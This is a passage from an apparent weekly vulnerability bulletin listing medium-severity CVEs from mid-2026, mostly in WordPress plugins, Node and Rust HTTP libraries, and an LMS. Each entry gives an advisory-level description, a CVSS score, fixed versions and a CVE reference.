| Primary Vendor -- Product                                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Sylius--MolliePlugin                                                                 | Sylius Mollie Plugin provides Mollie payment integration for Sylius applications. Prior to 2.2.8, 3.2.4, and 3.3.1, Sylius Mollie Plugin's GET /{_locale}/thank-you PageRedirectController::thankYouAction and GET /{_locale}/get-code QrCodeAction::fetchQrCodeFromOrder endpoints look up sequential orderId values without ownership or session checks, exposing order tokenValue values that can be used with GET /{_locale}/register-after-checkout/{tokenValue} to view customer first name, last name, and email. This issue is fixed in 2.2.8, 3.2.4, and 3.3.1.                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-30 | 6.5        | <a href="#">CVE-2026-68501</a> |
| Systerel--S2OPC                                                                      | Improper validity period check for root issuer certificate in CycloneCrypto cryptographic wrapper of S2OPC allows a certificate issued by this root issuer to be considered trusted                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-29 | 5.6        | <a href="#">CVE-2026-18257</a> |
| Tanium--Patch                                                                        | Tanium addressed a SQL injection vulnerability in Patch.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-28 | 6.3        | <a href="#">CVE-2026-11391</a> |
| taskbuilder--Taskbuilder Project Management & Task Management Tool With Kanban Board | The Taskbuilder - Project Management & Task Management Tool With Kanban Board plugin for WordPress is vulnerable to SQL Injection via the 'wppm_proj_filter' parameter in versions up to, and including, 5.0.9. This is due to insufficient escaping on the user-supplied parameter and the lack of sufficient preparation on the existing SQL query - the value is re-read at line 144 using only sanitize_text_field() (overwriting the earlier absint() result), then concatenated into the SQL WHERE clause as an unquoted numeric operand using only esc_sql(), which does not protect against injection in that context, and finally string-interpolated into the \$wpdb->prepare() format string, bypassing parameterization entirely. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. | 2026-07-28 | 6.5        | <a href="#">CVE-2026-15267</a> |
| Themeisle--Feedzy                                                                    | Contributor Server Side Request Forgery (SSRF) in Feedzy <= 5.2.4 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-27 | 4.9        | <a href="#">CVE-2026-66437</a> |
| Themeisle--Orbit Fox by Themelsle                                                    | Author Cross Site Scripting (XSS) in Orbit Fox by Themelsle <= 3.0.7 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 5.9        | <a href="#">CVE-2026-65563</a> |
| Themeum--Kirki                                                                       | Editor Arbitrary File Deletion in Kirki <= 6.0.13 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-27 | 6.8        | <a href="#">CVE-2026-65436</a> |
| themeum--Kirki Freeform Page Builder, Website Builder & Customizer                   | The Kirki - Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Path Traversal (Zip Slip) in all versions up to, and including, 6.0.13 via the extract_zip_file function. This makes it possible for authenticated attackers, with custom-level access and above, to write arbitrary files on the server, which can allow for remote code execution. The install_app, update_app, and get_kirki_template_from_zip code paths accept a user-supplied app src value to construct the download URL, and no sanitization is applied to prevent a crafted ZIP from being fetched and extracted with path-traversing entry names that escape the intended destination directory.                                                                                                                                                                                                                                                              | 2026-08-01 | 4.9        | <a href="#">CVE-2026-15601</a> |
| themeum--Tutor LMS eLearning and online course solution                              | The Tutor LMS - eLearning and online course solution plugin for WordPress is vulnerable to generic SQL Injection via the 'coupon_code' parameter in all versions up to, and including, 4.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-28 | 4.9        | <a href="#">CVE-2026-15444</a> |
| themewant--RT Mega Menu Mega Menu Builder for Elementor & Gutenberg                  | Subscriber Cross Site Scripting (XSS) in RT Mega Menu - Mega Menu Builder for Elementor & Gutenberg <= 1.5.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 6.5        | <a href="#">CVE-2026-59559</a> |
| themewant--RT Mega Menu Mega Menu Builder for                                        | Subscriber Broken Access Control in RT Mega Menu - Mega Menu Builder for Elementor & Gutenberg <= 1.5.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65433</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Elementor & Gutenberg                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| THEWP Digital Solutions--News Theme V8           | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in THEWP Digital Solutions News Theme V8 allows Reflected XSS. This issue affects News Theme V8: through 16.06.2026.                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-28 | 6.1        | <a href="#">CVE-2026-8167</a>  |
| thorsten--phpMyFAQ                               | phpMyFAQ before 4.1.6 contains a privilege escalation vulnerability in GroupController::updateMembers() that allows administrators with only group-management permissions to join privileged groups without verification of required rights. Attackers can add themselves to pre-existing groups holding user-management rights and immediately inherit those permissions to modify or delete user accounts.                                                                                                                                                                                                                                | 2026-07-27 | 6.5        | <a href="#">CVE-2026-66399</a> |
| Three Learning--Koollab LMS                      | An authentication bypass vulnerability in Koollab LMS allowed an unauthenticated attacker to take over any account, including administrator accounts, by supplying a valid user UUID without providing primary credentials via the 2FA validation endpoint.                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-29 | 6.5        | <a href="#">CVE-2026-63238</a> |
| Three Learning--Koollab LMS                      | A hard-coded AWS IAM credentials vulnerability in Koollab LMS allowed an attacker to access shared multi-tenant S3 buckets and SQS queues, exposing sensitive data and enabling malicious content injection, job manipulation, or email interception.                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-29 | 5.4        | <a href="#">CVE-2026-63239</a> |
| Three Learning--Koollab LMS                      | A TOTP two-factor authentication bypass vulnerability in Koollab LMS allowed an attacker to supply a client-controlled seed to generate a matching one-time password and bypass the second authentication factor, potentially enabling unauthorised access to administrator accounts.                                                                                                                                                                                                                                                                                                                                                       | 2026-07-29 | 4.8        | <a href="#">CVE-2026-63237</a> |
| Three Learning--Koollab LMS                      | An information disclosure vulnerability in Koollab LMS allowed an authenticated learner to obtain correct quiz answers from the course status endpoint without completing the assessment legitimately, compromising the integrity of assessments.                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-29 | 4.3        | <a href="#">CVE-2026-63240</a> |
| Three Learning--Koollab LMS                      | A business logic vulnerability in Koollab LMS allowed an authenticated learner to set their lesson completion status to completed via the SCORM commit endpoint without viewing the lesson material, compromising training and completion records.                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-29 | 4.3        | <a href="#">CVE-2026-63242</a> |
| Thrive Themes Coupon--Thrive Leads Version       | Unauthenticated Broken Access Control in Thrive Leads Version <= 10.9.2 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65435</a> |
| tigroumeow--Media Cleaner: Clean your WordPress! | The Media Cleaner: Clean your WordPress! plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.0.3. This is due to the `get_urls_from_html()` function using `DOMDocument::loadHTMLFile()` to fetch iframe source URLs with an insufficient hostname validation check that relies on a substring match against the site's server name. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application, which can be used to query and interact with internal services. | 2026-07-28 | 4.1        | <a href="#">CVE-2026-4912</a>  |
| Tim Strifler--Exclusive Addons Elementor         | Unauthenticated Sensitive Data Exposure in Exclusive Addons Elementor <= 2.8.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-27 | 5.3        | <a href="#">CVE-2026-66438</a> |
| timstrifler--Exclusive Addons for Elementor      | The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'exad_infobox_image' parameter in all versions up to, and including, 2.7.9.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                    | 2026-08-02 | 6.4        | <a href="#">CVE-2026-12231</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| tiny-http--tiny-http                                | tiny-http through 0.12.0 contains an HTTP request smuggling vulnerability that allows remote attackers to desynchronize request framing by sending a Transfer-Encoding header with any value, including non-chunked codings, which causes the library to unconditionally apply chunk-decoding and discard Content-Length. Attackers can exploit the discrepancy between tiny_http's improper Transfer-Encoding parsing and a correctly-implemented front-end proxy to produce two distinct interpretations of a single byte stream, enabling request smuggling, and can additionally send non-chunked bodies with non-chunked Transfer-Encoding values to cause failed body reads that tie up connections and consume worker threads without signaling errors to clients. | 2026-07-28 | 5.4        | <a href="#">CVE-2026-66752</a> |
| tomaka--rouille                                     | Rouille 0.4.0 through 3.6.2 contains an HTTP response splitting vulnerability that allows remote attackers to inject arbitrary response headers by embedding carriage return (0x0D) or line feed (0x0A) bytes into attacker-controlled input. Attackers can exploit percent-decoded query parameters reflected into response headers or inject bare LF characters into Cookie header values that are interpolated directly into Set-Cookie response headers, enabling cache poisoning, session fixation, and security header override attacks such as bypassing CSP or CORS policies.                                                                                                                                                                                     | 2026-07-28 | 5.4        | <a href="#">CVE-2026-66746</a> |
| tomaka--rouille                                     | Rouille 0.1.6 through 3.6.2 contains a reachable assertion vulnerability in the Request::remove_prefix function that allows remote unauthenticated attackers to crash the server by sending a crafted percent-encoded URL. Attackers can send a request whose decoded path matches a configured prefix while the raw percent-encoded path does not, causing the assert! to fail and triggering either a 500 error or full process termination depending on the panic configuration.                                                                                                                                                                                                                                                                                       | 2026-07-28 | 5.9        | <a href="#">CVE-2026-66754</a> |
| tomaka--rouille                                     | Rouille 0.3.3 through 3.6.2 contains an HTTP request smuggling vulnerability that allows remote attackers to desynchronize HTTP message boundaries by exploiting improper header forwarding in the proxy implementation. The proxy in src/proxy.rs forwards the client's Transfer-Encoding header to upstream backends unchanged while transmitting a body already de-chunked by tiny_http, enabling CL.TE desynchronization attacks where attackers control where the backend believes the request body ends.                                                                                                                                                                                                                                                            | 2026-07-28 | 5.4        | <a href="#">CVE-2026-67181</a> |
| Tychesoftwares--Abandoned Cart Lite for WooCommerce | Shop manager Cross Site Scripting (XSS) in Abandoned Cart Lite for WooCommerce <= 6.8.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 5.9        | <a href="#">CVE-2026-65557</a> |
| uhop--node-re2                                      | re2 provides Node.js bindings for Google's RE2 regular expression engine. Prior to 1.25.2, re2's String.prototype.match implementation with a global RE2 pattern that can match the empty string fails to advance its native matching cursor in lib/match.cc, causing an infinite loop and unbounded native memory growth that blocks the event loop and can exhaust host memory. This issue is fixed in 1.25.2.                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 6.2        | <a href="#">CVE-2026-68499</a> |
| uhop--node-re2                                      | re2 provides Node.js bindings for Google's RE2 regular expression engine. Prior to 1.25.2, re2 validates lastIndex against the UTF-8 byte length of a subject but uses it as a UTF-16 code-unit offset in exec, test, match, replace, and split, allowing an attacker-influenced lastIndex on a non-ASCII subject to trigger an out-of-bounds heap read and an uncatchable process crash, with limited heap information disclosure in some cases. This issue is fixed in 1.25.2.                                                                                                                                                                                                                                                                                          | 2026-07-30 | 5.7        | <a href="#">CVE-2026-67550</a> |
| undici--undici                                      | undici's cache interceptor mishandles optional whitespace placed around the equals sign of a qualified no-cache or private Cache-Control directive. In undici from 7.0.0 up to before 7.29.0 and from 8.0.0 up to before 8.9.0, the parser either drops the directive or stores a field name with literal quote characters, so the cache decision fails to recognize the qualification and the response is stored. In shared-cache mode, this lets a response containing one user's authenticated data be served from cache to a later caller, including an unauthenticated one, when both requests resolve to the same cache key. It affects applications that enable the                                                                                                | 2026-07-29 | 5.9        | <a href="#">CVE-2026-14643</a> |



# Medium Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                 | cache interceptor in shared mode, forward Authorization headers upstream, and receive cacheable responses with qualified directives padded with whitespace around the equals sign. This is the whitespace-around-equals variant that the fix for CVE-2026-9678 did not normalize, and it is fixed in undici 7.29.0 and 8.9.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| undici--undici                  | undici does not validate the type property of a duck-typed blob-like request body before using it as the Content-Type header on the HTTP/1.1 dispatcher. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, an application that passes a hand-rolled blob-like body (via request, stream, pipeline, or dispatch) whose type is derived from untrusted input allows an attacker to inject CRLF sequences and append arbitrary HTTP headers, potentially smuggling a second request past the upstream. Native Blob objects are safe because their constructor strips CRLF from the type, and fetch is unaffected because it validates headers, but ecosystem libraries that build duck-typed blob shapes from user input can reach the vulnerable path. This is the same defect class as CVE-2022-35948 and CVE-2026-1527, on a header sink that the earlier fixes did not cover. The issue is fixed in undici 6.28.0, 7.29.0, and 8.9.0.                                                                                               | 2026-07-29 | 4.2        | <a href="#">CVE-2026-15157</a> |
| undici--undici                  | undici's retry interceptor can deliver a response whose body length does not match the Content-Length header exposed to the application after a retry or resume of a partial response. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a malicious or faulty upstream can return a partial response with a mismatched framing header, close the socket early, and have the retry interceptor assemble a body of a different length while the original Content-Length stays attached. Applications that use the retry interceptor and forward upstream headers and bodies downstream, such as proxies or gateways, may then emit an invalid HTTP response with a stale Content-Length, leading to downstream response desynchronization, connection hangs, or response corruption. Exploitation requires the retry interceptor enabled, an upstream returning a mismatched partial response, and a downstream forwarder that does not remove or recalculate Content-Length. The issue is fixed in undici 6.28.0, 7.29.0, and 8.9.0. | 2026-07-29 | 4.8        | <a href="#">CVE-2026-16728</a> |
| undici--undici                  | undici's setCookie function does not fully sanitize cookie attributes. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a domain value is not checked for semicolons and entries in the unparsed array are not sanitized, so attacker-influenced input can inject additional cookie attributes. For example, a domain value containing a semicolon can append attributes such as SameSite, and an unparsed entry can inject attributes such as HttpOnly, without the caller setting them. Applications that pass user-controlled input to these fields, such as multi-tenant or reverse-proxy servers that scope session cookies to a tenant-supplied domain, can have SameSite CSRF protections bypassed, or the Secure, HttpOnly, and SameSite attributes forced, stripped, or overridden. The issue is fixed in undici 6.28.0, 7.29.0, and 8.9.0.                                                                                                                                                                                | 2026-07-29 | 4.8        | <a href="#">CVE-2026-16729</a> |
| unitedbyai--droidclaw           | A weakness has been identified in unitedbyai droidclaw up to 0.5.3. Affected by this issue is some unknown functionality of the file server/src/routes/goals.ts of the component Unsigned Scheduled Callback. This manipulation causes authorization bypass. Remote exploitation of the attack is possible. The attack is considered to have high complexity. The exploitation is known to be difficult. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 5          | <a href="#">CVE-2026-17531</a> |
| Vacron--VIN-DS783E-E6           | VIN-DS783E-E6 developed by Vacron has an Arbitrary File Read vulnerability, allowing authenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-29 | 6.5        | <a href="#">CVE-2026-18192</a> |
| Veeam--Service Provider Console | Improper handling of the returnUrl parameter in the Forgot Password function of Veeam Service Provider Console allows an unauthenticated attacker to control the domain of the generated password reset link. When the targeted user clicks the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-30 | 5.3        | <a href="#">CVE-2026-64635</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                           | link delivered by email, the reset code is transmitted to an attacker-controlled host, allowing the attacker to take over the account.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| vendurehq--vendure                                                                        | Vendure through 3.7.1, fixed in commit f67ef5f, contains a cross-channel authorization bypass vulnerability in stock-location.service.ts and asset.service.ts update methods that allows channel-scoped administrators to modify other tenants' data. Attackers can supply global IDs of StockLocation or Asset entities from different channels to overwrite inventory locations or catalog assets belonging to other tenants without proper channel isolation validation.                                                                                                                                                                                                                                                               | 2026-07-30 | 6.8        | <a href="#">CVE-2026-67347</a> |
| veraPDF--veraPDF-validation                                                               | veraPDF validation model is an implementation of the veraPDF validation model. From 1.25.73 until 1.30.2 and 1.31.71, veraPDF-validation contains an XML External Entity vulnerability in PDFValidator.validate(...) and GFPDAcroForm.getdynamicRender(), where default DocumentBuilderFactory parsing of rich-text annotation or form-field values and XFA configurations in untrusted PDFs can allow local file disclosure and outbound network requests. This issue is fixed in versions 1.30.2 and 1.31.71.                                                                                                                                                                                                                           | 2026-07-29 | 6.5        | <a href="#">CVE-2026-54082</a> |
| Visual Composer--Visual Composer Website Builder                                          | Contributor Broken Access Control in Visual Composer Website Builder <= 45.15.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 5          | <a href="#">CVE-2026-65568</a> |
| Watchfire--BC550                                                                          | The affected Watchfire Controller Software contains self-signed hard-coded RSA private keys and corresponding X.509 certificates used for authenticating and encrypting HTTPS/TLS connections to the controller's built-in web management interface. These keys are embedded in plaintext within the application patch binaries in the firmware directly from Watchfire's Remote Support filestore.                                                                                                                                                                                                                                                                                                                                       | 2026-07-30 | 5.7        | <a href="#">CVE-2026-5846</a>  |
| wazuh--wazuh                                                                              | Wazuh 5.0.0-beta1 (fixed in 5.0.0-beta3) does not validate or override the cluster_name and cluster_node fields in inventory-sync Start FlatBuffer messages, while validating only the agentid against the authenticated agent identity. This allows a low-privileged enrolled agent to spoof cluster attribution in indexed inventory and vulnerability documents by forging wazuh.cluster.name values and influencing the document _id prefix, potentially tampering with inventory records or, in shared-indexer multi-cluster deployments, poisoning another cluster's records when numeric agent IDs collide.                                                                                                                        | 2026-08-01 | 6.3        | <a href="#">CVE-2026-67307</a> |
| wedevs--StoreGrowth Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce | The Storegrowth Sales Booster plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 2.1.0. This is due to a missing capability check on the bogo_category_msg_create() AJAX handler, which is registered for both authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) users and only validates a nonce ('ajd_protected') that is emitted publicly via wp_localize_script() on every frontend page through front_scripts(). This makes it possible for unauthenticated attackers to modify the plugin's BOGO category-message configuration stored in the spsg_bogo_general_settings option by reading the nonce from any public page and POSTing attacker-controlled data to admin-ajax. | 2026-07-28 | 5.3        | <a href="#">CVE-2026-13110</a> |
| wedevs--StoreGrowth Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce | The StoreGrowth: Smart Sales Booster for WooCommerce   BOGO, Upsells, Direct Checkout, Quick View, Side Cart plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the spsg_popup_products option with arbitrary attacker-controlled data. The 'ajd_protected' nonce used as the sole gate is exposed to unauthenticated visitors on every frontend page through the BoGo module's wp_localize_script call, rendering it ineffective as an authorization barrier.                                                    | 2026-07-28 | 5.3        | <a href="#">CVE-2026-15411</a> |
| westerndeal--GSheetConnector                                                              | The GSheetConnector - CF7 Google Sheets Connector with Real-Time Sync plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 5.2.1 due to insufficient escaping on the user                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-08-01 | 4.9        | <a href="#">CVE-2026-16614</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| CF7 Google Sheets Connector                              | supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. wp_unslash() strips magic-quote protection and sanitize_text_field() does not escape SQL metacharacters, leaving single quotes and other SQL metacharacters intact before the value is interpolated into the query.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| withastro--astro                                         | Astro is a web framework for content-driven websites. In versions 1.0.0 through 4.0.18, the source.title and enclosure.type item fields in packages/astro-rss/src/index.ts are interpolated directly into XML template strings without XML-character escaping before being parsed by fast-xml-parser. Both fields are validated only as z.string(), placing no restriction on XML special characters. An attacker who controls these values can inject arbitrary XML into the generated RSS feed: a value containing " can break out of an attribute (as with enclosure.type), and a value containing </source> can close an element early and inject additional nodes (as with source.title). This corrupts feed structure, injects false metadata (for example, a fake <link> pointing to a malicious URL), and can cause feed readers to misparse or display attacker-controlled content. In SSR mode (output: 'server'), the poisoned feed is served on every request to all subscribers. This issue has been fixed in version 4.0.19. | 2026-07-27 | 4.3        | <a href="#">CVE-2026-59728</a> |
| woocommerce--WooCommerce PayPal Payments                 | The WooCommerce PayPal Payments plugin for WordPress is vulnerable to Sensitive Information Disclosure due to an Insecure Direct Object Reference in all versions up to, and including, 3.3.2 via the `enqueue_paypal_insights_script_on_order_received()` function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to obtain sensitive order information including order keys, which can then be leveraged to access full customer billing details (name, email, phone, address) via the WooCommerce Store API within a 10-minute grace period after order creation.                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-08-01 | 5.3        | <a href="#">CVE-2025-14073</a> |
| WP Chill--Gallery PhotoBlocks                            | Contributor Cross Site Scripting (XSS) in Gallery PhotoBlocks <= 1.3.3 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-27 | 6.5        | <a href="#">CVE-2026-66448</a> |
| wp-lab--WP-Lister Lite for eBay                          | The WP-Lister Lite for eBay plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 3.8.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 4.9        | <a href="#">CVE-2026-11973</a> |
| WPCenter--AffiliateX                                     | Unauthenticated Server Side Request Forgery (SSRF) in AffiliateX <= 2.3.5 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 5.4        | <a href="#">CVE-2026-65558</a> |
| wpclever--WPC Badge Management for WooCommerce           | The WPC Badge Management for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' attribute of the `wpcbm_best_seller` shortcode in all versions up to, and including, 3.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-29 | 6.4        | <a href="#">CVE-2026-7436</a>  |
| WPDeveloper--BetterDocs                                  | Contributor Cross Site Scripting (XSS) in BetterDocs <= 4.6.2 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65562</a> |
| wpeverest--PDFDraft Drag & Drop PDF Builder, PDF Viewer, | The PDFDraft - Drag & Drop PDF Builder, PDF Viewer, Embed & Download PDF, Certificate & Invoice Designer plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the serveTemplatePdfAjax() function and the serveTemplatePdf() REST route (which is registered with                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-28 | 5.3        | <a href="#">CVE-2026-12124</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Embed & Download PDF, Certificate & Invoice Designer                                                                                             | `permission_callback => '__return_true')` in versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to download stored template PDFs - which may contain customer PII, invoice, order, and certificate data - by requesting the publicly registered admin-ajax action `pdfdraft_embed_pdf` or the REST endpoint `/wp-json/pdfdraft/v1/embed-pdf/templates/{slug}/pdf` with a known or guessable design slug, bypassing the plugin's own .                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| wplakeorg--Advanced Views Display Custom Fields (ACF, Pods, MetaBox), Posts, CPT and Woo Products anywhere in Gutenberg, Elementor, Divi, Beaver | The Advanced Views - Display Custom Fields (ACF, Pods, MetaBox), Posts, CPT and Woo Products anywhere in Gutenberg, Elementor, Divi, Beaver plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.9.1 via the register_rest_routes. This makes it possible for authenticated attackers, with subscriber-level access and above, to extract sensitive admin-authored editor content - including template markup, CSS code, JavaScript code, and PHP controller variables - for any Layout or Post Selection post on the site.                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-08-01 | 6.5        | <a href="#">CVE-2026-17580</a> |
| wplegalpages--WPLP Cookie Consent Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode                                        | The Cookie Banner for GDPR / CCPA - WPLP Cookie Consent plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.3.7. This is due to missing or incorrect nonce validation on the process_bulk_action function. This makes it possible for unauthenticated attackers to permanently delete or forcibly resolve arbitrary GDPR data request records stored in the wpl_data_req table via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-28 | 4.3        | <a href="#">CVE-2026-15136</a> |
